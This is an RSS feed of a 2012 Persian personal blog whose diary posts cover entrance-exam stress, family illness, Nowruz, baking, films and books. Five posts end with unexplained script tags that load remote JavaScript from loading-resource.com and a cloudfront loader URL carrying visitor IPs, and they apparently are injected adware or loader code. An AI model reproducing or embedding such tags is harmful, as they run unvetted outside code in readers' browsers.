﻿<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
  <channel>
    <title>پری خانه</title>
    <description>parykhane's description</description>
    <link>http://parykhane.persianblog.ir/</link>
    <copyright>PersianBlog</copyright>
    <managingEditor>شیرین لک</managingEditor>
    <lastBuildDate>Wed, 02 May 2012 19:47:52 GMT</lastBuildDate>
    <docs>http://backend.userland.com/rss</docs>
    <generator>PersianBlog</generator>
    <item>
      <title>کتابخونه (تبلیغ )</title>
      <description>&lt;p&gt;بعد از هوار وقت سلام &lt;img title="نیشخند" src="http://www.persianblog.ir/editor/images/smilies/4.gif" alt="نیشخند" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;خیلی وقت برا نوشتن ندارم فقط خواستم بگم که عکس جدیدم و این دو خطی که می نویسم فی الواقع (تازه افتاده تو دهنم ) تبلیغ پست بعدیه که می خوام راجع به کتابخونه ای توش درس میخونم بنویسم . اخه هر چی باشه من کل روز اونجام سهم بزرگی تو اتفاقات ای چند وقت داشته &lt;img title="چشمک" src="http://www.persianblog.ir/editor/images/smilies/3.gif" alt="چشمک" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;برمی گردم &lt;img title="عینک" src="http://www.persianblog.ir/editor/images/smilies/16.gif" alt="عینک" border="0" /&gt;&lt;img title="ماچ" src="http://www.persianblog.ir/editor/images/smilies/11.gif" alt="ماچ" border="0" /&gt;&lt;/p&gt;</description>
      <link>http://parykhane.persianblog.ir/post/70</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9373968/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9373968</guid>
      <pubDate>Wed, 02 May 2012 19:47:52 GMT</pubDate>
    </item>
    <item>
      <title>(هیچی برا اسمش به ذهنم نمیرسه )</title>
      <description>&lt;p&gt;دیروز بعد از یک هفته از خونه رفتم بیرون به قصد جایی غیر از کتابخونه . این چند وقت روزمرگی رو به معنای واقعی دارم تجربه می کنم . در حدی که رفتن گاج برام حکم تفریح رو پیدا کرده . دیروز هم رفتم تفریح تا 7 کارم طول کشید تصمیم گرفتم برای تفریح بیشتر کمی از راه رو پیاده بیام و چند دقیقه ای تو پارک جلو کتابخونه بشینم . (چه تفریح متنوعی !!! )&lt;/p&gt;
&lt;p&gt;هوا دیروز مثل خودم بود گیج . نه ابری نه صاف. نشستم یه جای تاریک رو نیمکت سرم رو تکیه دادم به صندلی و نیم ساعتی زل زدم به اسمون نیمه ابری که فقط 2 تا ستاره داشت . و الان که دارم فکر می کنم میبینم به هیچی فکر نمیکردم ،هیچی. صاف بود ذهنم دلم میخواست تا ته دنیا ادامه داشت دلم میخواست زمان تو همون لحظه وایمیستاد&lt;/p&gt;
&lt;p&gt;روزهای مزخرفی رو میگذرونم تمرکزم رو از دست دادم و بی برنامه و گیج شدم تا میخوام به یه برنامه ثابت برسم یه اتفاقی میوفته و ... نمیدونم فایده نوشتن و حرف زدن راجع بهش چیه تصمیم گرفتم با حسنا راجع به کنکور حرف نزنم چون اعصابم رو بهم میریزه و تا چند وقت درگیرم نه با حسنا نه با هیچکس دیگه کنکور خوان سوم زندگیه منه . من الان 2 هیچ به خودم باختم و تو این یکی هم موندم&lt;/p&gt;
&lt;p&gt;نه که همه چیز بد باشه نه . امروز کیان رو بعد از 2 سال دیدم هیچ فرقی نکرده قییافش و هنوز هم با دیدن توپ بسکتبال همه چیز یادش میره و فقط بازی میکنه .اولین باری که دیدمش یادم نمیره، رو به زمین بسکتبال نشسته بودم که بازیش توجه ام رو جلب کرد کیان تک بود و 3 تا پسر بچه دیگه مثل خودش زور میزدن که توپ رو از دستش دربیارن که خوب عمرا .&amp;nbsp; بعد از اون هروقت حوصله اش رو داشتم می رفتم و بازیشو میدیدم . حالا باید پیش دانشگاهی باشه .&lt;/p&gt;
&lt;p&gt;صبح بعد از مدتها بالاخره با شراره رفتم بازارچه سنتی مانتو خریدم گل سینه یه چیز نوستالجیک و یه جفت گوشواره که شاید عکسشونو بزارم و یه پست جدا براش بنویسم&lt;/p&gt;
&lt;p&gt;با شادی صمیمی تر شدم در حدی که دیگه باهام تعارف نمیکنه و حرف میزنه حتی .&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;p&gt;.&lt;/p&gt;
&lt;p&gt;اما من حالم خوب نیست یه حس بدی ته دلم نشسته که چراشو نمیدونم استانه تحملم به صفر رسیده در حدی که کوچکترین اتفاق مخالف میلم باعث میشه ادم مقابلم رو خط بزنم و دیگه نبینمش .مسخره اس اما با اینکه این چند وقت خیلی بد اخلاق شدم اما بچه ها بیشتر از قبل دورم جمع میشن صبح به صبح وقتی میان بغلم می کنن منو میبوسن دلشون برام تنگ میشه حتی مونا به حرفم گوش میکنه !!(شاید یه پست جدا بزارم و همشونو معرفی کنم )&lt;/p&gt;
&lt;p&gt;نمیدونم چرا اما این احساس تلخ لعنتی دست از سرم برنمیداره و مسخره تر از همه اینا اینه که کوتاه نیومدم و هنوز دارم همه تلاشم رو می کنم .&amp;nbsp;&lt;/p&gt;
&lt;p&gt;دنیا کارخودش رو می کنه و من فقط ...&lt;/p&gt;</description>
      <link>http://parykhane.persianblog.ir/post/69</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9267179/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9267179</guid>
      <pubDate>Fri, 13 Apr 2012 19:21:21 GMT</pubDate>
    </item>
    <item>
      <title>فوبی ادم</title>
      <description>&lt;p&gt;عین چی دلم برای بچه های ارشد تنگ شده برای ثنا ، آزیتای خل و چل ، زهرا حتی برای پسرا با اینکه موجودات معلوم الحالی بودن .&lt;/p&gt;
&lt;p&gt;وای باورم نمیشه انگار همین دیروز بود داشتیم پشت سر پریسا و اخلاقا و کارای احمقانش حرف می زدیم و میخندیدیم . موقع سرسره بازیه زهرا پسرا انگار که بربر دیده بودن زل زده بودن بهش یا اون دو تا پسره که اخر هم نفهمیدم اسمشون چی بود و همیشه تو قیافه بودن زیر زیرکی به یکیمون زل زده بودن .&lt;/p&gt;
&lt;p&gt;رروزای خوبی بود و شاید تکرار نشدنی . گاهی فکر میکنم که ...&lt;/p&gt;
&lt;p&gt;بیخیال قول دادم حسرت نخورم و ای کاش نگم .همه ی روزا و خاطرات خوبش به کنار یه اتفاق جالب برای من افتاد .&lt;/p&gt;
&lt;p&gt;من تا قبل از رفتن به کتابخونه متوجه نشده بودم که ناخوداگاه تو برخورد با ادم های جدید چقدر سرد و رسمی ام . اولین بار مهسا این موضوع رو بهم گفت داشتم تاب بازی میکردم وایستاده بود با تعجب نگام می کرد اخر هم طاقت نیاورد و گفت تو انقدر جدی که ادم باورش نمیشه بلدی تاب بازی کنی . چند روز بعد هم اعتراف کرد که با وجود اینکه 4 سال از من بزرگ تره قبل از جریان تاب بازی ازم حساب می برده و بهم احترام میزاشته !!!! فکر کن !!&lt;/p&gt;
&lt;p&gt;این اخرا ثنا و آزیتا هم همین حرفا رو میزدن که تا وقتی باهات دوست نشده بودیم جرئت نمی کردیم جلو بیایم .&amp;nbsp;&lt;img title="ابرو" src="http://www.persianblog.ir/editor/images/smilies/23.gif" alt="ابرو" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;بعد از این حرفای بچه ها این چند وقت که نیستن بیشتر تو برخوردای خودم با بچه های جدید دقیق شدم اما باز هم همچین حسی نداشتم تا اینکه دیروز یاسمن یکی از دخترا که پیش دانشگاهیه اول بی مقدمه اسممو پرسید و بعد اویزون شد که موهامو ببینه خندم گرفته بود و شاخ در اورده بودم مقنعه رو دراوردم موهامو که دید نه گذاشت نه برداشت یهو گفت می دونی چیه ادم کنار تو میشینه همش به این فکر میکنه که اسمت چیه موهات چه مدلیه کجا درس میخونی چی میخونی کلا خیلی مرموزی تازه رنگ موهات و اسمت هم بهت نمیاد نه که خوب نباشه ها نه به اندازه ی خودت عجیب نیستن .&amp;nbsp;&lt;img title="تعجب" src="http://www.persianblog.ir/editor/images/smilies/13.gif" alt="تعجب" border="0" /&gt; &lt;/p&gt;
&lt;p&gt;و من پاره شدم از خنده . اخه جالب قضیه اینه که به قول شراره (روانشناس هستن ) من به خاطر فوبی ادم که دارم کلا به ادم ها خیلی نزدیک نمیشم حالا این فوبی شده مایه احترام و جذابیت . &lt;img title="خنده" src="http://www.persianblog.ir/editor/images/smilies/21.gif" alt="خنده" border="0" /&gt;&lt;/p&gt;</description>
      <link>http://parykhane.persianblog.ir/post/68</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9192387/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9192387</guid>
      <pubDate>Fri, 30 Mar 2012 20:30:28 GMT</pubDate>
    </item>
    <item>
      <title>چیپس و سس</title>
      <description>&lt;p&gt;من یه کارایی جزو شخصیتم و هویتمه مثل غر زدن .&lt;/p&gt;
&lt;p&gt;اما یه کارایی هست که شاید فقط چند نفر باشن که می دونن یکیش خوردن چیپس با سس فرانسویه . من عاشق اینم که یه بسته چیپس پیاز و جعفری یا نشد نمک دریایی بگیرم بشینم رو پله یا نیمکت و دونه دونه به چیپس ها سس بزنم بخورم و بیشترین لذت رو زمانی می برم که با غزاله باشم و هی بهش بگم بخور و اون بگه کوفت بخوری تو بخور که تو میخوری و من چاق میشم و من هر هر بخندم .&lt;/p&gt;
&lt;p&gt;القصه ...&lt;/p&gt;
&lt;p&gt;دیروز رفتم پارک یه بسته چیپس با یه سس خریدم و بعد از یک سال و نیم انقدر خوردم که داشتم میترکیدم جای غزاله خالی بود خیلی وقته ندیدمش اما خب خوب بود خیلی چسبییییییییییییید . من خیلی این کار رو نمیکنم معمولا سالی یکی دو بار اما پارسال اصلا این کار رو نکردم و خوب وقتی کاری که جزو شخصیتته رو انجام ندی چی میشه ؟؟&lt;/p&gt;
&lt;p&gt;امسال سال خوبیه مجبوره که خوب باشه چون من نمیخوام امسال گریه کنم شده هر روز چیپس و سس بخورم امسال سال خوبیه من هر کاری حاضرم بکنم که امسال سال خوبی باشه توجه نمودی 91 ؟ &lt;/p&gt;</description>
      <link>http://parykhane.persianblog.ir/post/67</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9173647/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9173647</guid>
      <pubDate>Mon, 26 Mar 2012 18:28:10 GMT</pubDate>
    </item>
    <item>
      <title>سالی که نکوست</title>
      <description>&lt;p&gt;سال نو مباررررررررررررررک &lt;img title="هورا" src="http://www.persianblog.ir/editor/images/smilies/36.gif" alt="هورا" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;خواستم هرچه سریعتر و قبل از اینکه نظرم عوض شه اعلام کنم من از سال 91 راض یم&lt;/p&gt;
&lt;p&gt;راضیییییییییییییییییییییی &lt;img title="نیشخند" src="http://www.persianblog.ir/editor/images/smilies/4.gif" alt="نیشخند" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;همونقدر که شایسته ی 24 ساعت شبانه روزه اهسته می گذره و هوا همونقدر که باید بهاری باشه هست .&lt;/p&gt;
&lt;p&gt;حتی امروز به طور شگفت انگیزی عمو کوچیکه بعد از سالها کدورت را کنار گذاشت و برا عید دیدنی اومد .&lt;/p&gt;
&lt;p&gt;راضیم ازت عجیییییییییییییییب&lt;/p&gt;
&lt;p&gt;امیدوارم برا همه همینطور باشه و واقعا سال نکویی باشه مثل بهارش &lt;img title="قلب" src="http://www.persianblog.ir/editor/images/smilies/8.gif" alt="قلب" border="0" /&gt; &lt;img title="عینک" src="http://www.persianblog.ir/editor/images/smilies/16.gif" alt="عینک" border="0" /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B822B0983-9EBC-40EA-AFEB-4AAE35F9A10A%7D"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&amp;amp;pid=1032&amp;amp;zoneid=10368&amp;amp;cid=IR&amp;amp;rid=&amp;amp;ccid=&amp;amp;ip=2.178.68.72"&gt;&lt;/script&gt;</description>
      <link>http://parykhane.persianblog.ir/post/66</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9156880/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9156880</guid>
      <pubDate>Thu, 22 Mar 2012 19:05:06 GMT</pubDate>
    </item>
    <item>
      <title>پس از کنکور 3</title>
      <description>&lt;p&gt;یکی دیگه از کارای مورد علاقه ی من که منجر به فراموشی میشه آشپزیه . مامان نازنینه بنده تبریزی هستن در نتیجه وعده های غذایی تو خونه ما مثل ضیافت و این برنامه هاس و برعکس خیلی از زنای شاغل که حال آشپزی ندارن خیلی با علاقه این کار رو می کنه در نتیجه جزو تفریحات مورد علاقه ی من شکمو شده .&lt;/p&gt;
&lt;p&gt;حالا این همه صغرا کبرا برا چی بود ؟ برا این بود که بگم من امروز شیرینی پنجره ای درست کردم&amp;nbsp;&lt;img title="نیشخند" src="http://www.persianblog.ir/editor/images/smilies/4.gif" alt="نیشخند" border="0" /&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;همیشه موقع عید که می رفتیم خونه خالم با مامانم مینشستن سر یه پیک نیک تو اشپزخونه و 300 400 تا شیرینی پنجره ای برا عید درست می کردن . امسال که تهرانیم بدجور هوس کرده بودم اما خوب مامی نمی تونست درست کنه برا همین من و رزا (منظورم همون کتاب رزا منتظمیه ) دو تایی یه سینی گنده پر شیرینی درست کردیم . جاتون خالی انقدر خوشمزه شده که خودم باورم نمیشه کار منه البته فکر کنم بخت تازه کارا یارم بود چون همچین کم هم خراب کاری نکردم . 4 5 تاشو خراب کردم یه چند تاییش سوخته چند تاشون هم کج و کوله&amp;nbsp; شدن مامی هم گفت که ظرفش کوچیک شده و یه کم کلفت شده اما خوب با همه اینا هرکدوم چند تایی خوردیم و واقعا مزه داد&lt;/p&gt;
&lt;p&gt;دمم گرم اینم شیرینی سال نو &lt;img title="گاوچران" src="http://www.persianblog.ir/editor/images/smilies/48.gif" alt="گاوچران" border="0" /&gt;&amp;nbsp; &lt;img title="قلب" src="http://www.persianblog.ir/editor/images/smilies/8.gif" alt="قلب" border="0" /&gt;&lt;/p&gt;</description>
      <link>http://parykhane.persianblog.ir/post/65</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9140325/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9140325</guid>
      <pubDate>Sun, 18 Mar 2012 18:03:36 GMT</pubDate>
    </item>
    <item>
      <title>ترس</title>
      <description>&lt;p&gt;هنوز 4 روز دیگه مونده . هنوز 4 روز دیگه از سال 90 این رنج مداوم مونده . باورم نمیشه هر لحظه ی امسال ترسناک و پر از دلهره بود هیچ اتفاق خوبی نیافتاد . هیچی مریضی مامان که هنوز ادامه داره و دیروز باز تو مترو حالش بد شده بود مریضی بابا که باعث شده احساس به درد نخور&amp;nbsp; بودن بکنم . مخصوصا وقتی کلی ازمایش و قرص رو گذاشت جلوم و پرسید که اینا یعنی چی و من فقط یه جمله فهمیدم بسته شدن کانال های عصبی سمت چپ دنیا دور سرم میچرخید میخوام به زمین و زمان بد و بیراه بگم . چرا تموم نمیشه&lt;/p&gt;
&lt;p&gt;امسال رو فراموش میکنم هرجور که هست همه چیزم به هم ریخته دیگه واقعا نمیتونم تحمل کنم بی صبرانه منتظر تموم شدن این چند روز و شنیدن صدای توپ تحویل سالم .&lt;/p&gt;
&lt;p&gt;خدایا رحم کن این چند روز اخر اتفاقی نیافته بزار تموم شه .&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B822B0983-9EBC-40EA-AFEB-4AAE35F9A10A%7D"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&amp;amp;pid=1032&amp;amp;zoneid=10368&amp;amp;cid=IR&amp;amp;rid=&amp;amp;ccid=&amp;amp;ip=2.178.81.83"&gt;&lt;/script&gt;</description>
      <link>http://parykhane.persianblog.ir/post/64</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9131628/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9131628</guid>
      <pubDate>Sat, 17 Mar 2012 08:18:15 GMT</pubDate>
    </item>
    <item>
      <title>پس از کنکور 2</title>
      <description>&lt;p&gt;پیرو یادداشت قبلی که گفتم کتاب و فیلم باعث میشه هر چیزی رو فراموش کنم بعد از اینکه خودم رو با فیلم و سریال خفه کردم نوبت رسید به کتاب .&lt;/p&gt;
&lt;p&gt;مدت ها بود که میخواستم بربادرفته رو بخونم اما 1182 صفحه کتاب و کلی کار مانع میشد اما بالاخره شروع کردم . هفته ی ژیش شروعش کردم و با توجه به اینکه چشمام ضعیف شده خیلی سعی کردم که در خوندن افراط نکنم اما خوب نشد و 2 روز پیش تمومش کردم . بیخود نیست که جزو ده رمان عاشقانه ی برتر دنیاست . انقدر قشنگ ماجرای یه عشق رو وسط جنگ داخلی امریکا تعریف میکنه که من به شخصه تونستم با تک تک ادماش همزاد پنداری کنم . حتی خانم السینگ و مری ودر !!!&lt;/p&gt;
&lt;p&gt;خوندنش هرچند باعث شد که چشمام دور رو کلا مات ببینه (چون مجبور بودم برای رهایی از غرغرهای مامی شب بخونمش ) اما خیلی کمکم کرد هم حالم بهتر شد و فکرم ازاد شد هم اینکه از اسکارلت یاد گرفتم که " الان بهش فکر نمیکنم اگر فکر کنم نمیتونم "&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B822B0983-9EBC-40EA-AFEB-4AAE35F9A10A%7D"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&amp;amp;pid=1032&amp;amp;zoneid=10368&amp;amp;cid=IR&amp;amp;rid=&amp;amp;ccid=&amp;amp;ip=2.178.81.83"&gt;&lt;/script&gt;</description>
      <link>http://parykhane.persianblog.ir/post/63</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9131456/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9131456</guid>
      <pubDate>Sat, 17 Mar 2012 07:53:00 GMT</pubDate>
    </item>
    <item>
      <title>پس از کنکور</title>
      <description>&lt;p&gt;امروز انقدر فیلم پشت سر هم نگاه کردم که چشمام همه چیزو 4 تا میبینه اما به زور هم که شده همه رو تا ته دیدم و با تمام وجودم لذت بردم .&lt;/p&gt;
&lt;p&gt;2 تا کار تو دنیا هست که باعث میشه من همه چیزو فراموش کنم کتاب خوندن و فیلم دیدن&lt;/p&gt;
&lt;p&gt;امروز Hugo , Rio , Madagaskar و یه کارتون دیگه که اسمش یادم رفت رو دیدم .&lt;/p&gt;
&lt;p&gt;hugo عالی بود . فوق العاده بود . هر رمانی یه جمله ی طلایی داره که جان کلام اون رمانه به نظر من این موضوع راجع به فیلم ها هم صادقه . تو هیوگو این جان کلام انقدر خوب تو قالب صحنه ها و حرفا عنوان شد که که من واقعا شوک شدم . اولش فقط یه فیلم با سکانس های روشن و شیک بود بعد یهو همه چیز عوض شد هیوگو وقتی داره پشت ساعت برج به کل شهر نگاه میکنه میگه :&lt;/p&gt;
&lt;p&gt;Id imagine the whole world was one big machine . machines never come with any extra part , you know they always come with the exact amount they need . so I figured if the entire world was one big machine I couldent be an extra part . I had to be here for some reason .&lt;/p&gt;
&lt;p&gt;&lt;img title="چشمک" src="http://www.persianblog.ir/editor/images/smilies/3.gif" alt="چشمک" border="0" /&gt;&lt;img title="نیشخند" src="http://www.persianblog.ir/editor/images/smilies/4.gif" alt="نیشخند" border="0" /&gt;&amp;nbsp;&lt;/p&gt;</description>
      <link>http://parykhane.persianblog.ir/post/61</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9131255/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9131255</guid>
      <pubDate>Sat, 17 Mar 2012 07:16:25 GMT</pubDate>
    </item>
    <item>
      <title>نادر و گلشیفته</title>
      <description>&lt;p&gt;صبح بیدار شدم و طبق&amp;nbsp; معمول اول گوشی رو نگاه کردم چون معمولا شبا خوابم میبره و چند تایی sms نخونده هست .&lt;/p&gt;
&lt;p&gt;تافی اسکار رو گرفت .&lt;/p&gt;
&lt;p&gt;و بعد نیش باز من بود و احساس لذتی که تا چند ساعت باهام بود . نیازی به توضیح حال خوشم نمیبینم چون تو هم حتما همین احساس رو داری . &lt;img title="نیشخند" src="http://www.persianblog.ir/editor/images/smilies/4.gif" alt="نیشخند" border="0" /&gt; &lt;img title="نیشخند" src="http://www.persianblog.ir/editor/images/smilies/4.gif" alt="نیشخند" border="0" /&gt;&lt;/p&gt;
&lt;p&gt;دارم میلم رو چک میکنم میرسم به یه میل با این موضوع ( فیلم جدید گلشیفته فراهانی ) وقتی گلی رو میبینم با لباس رقص عربی نیمه لخت دلم میخواد با سر برم تو مانیتور . اخه چرا ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟&lt;/p&gt;
&lt;p&gt;باز هم نیازی به توضیح حال خرابم نمیبینم چون حتما تو هم مثل منی &lt;img title="افسوس" src="http://www.persianblog.ir/editor/images/smilies/46.gif" alt="افسوس" border="0" /&gt; &lt;img title="افسوس" src="http://www.persianblog.ir/editor/images/smilies/46.gif" alt="افسوس" border="0" /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7B822B0983-9EBC-40EA-AFEB-4AAE35F9A10A%7D"&gt;&lt;/script&gt;
&lt;script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&amp;amp;pid=1032&amp;amp;zoneid=10368&amp;amp;cid=IR&amp;amp;rid=&amp;amp;ccid=&amp;amp;ip=2.178.95.3"&gt;&lt;/script&gt;</description>
      <link>http://parykhane.persianblog.ir/post/60</link>
      <author>شیرین لک</author>
      <comments>http://parykhane.persianblog.ir/comments/327684/9016786/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-327684.post-9016786</guid>
      <pubDate>Tue, 28 Feb 2012 19:17:52 GMT</pubDate>
    </item>
  </channel>
</rss>
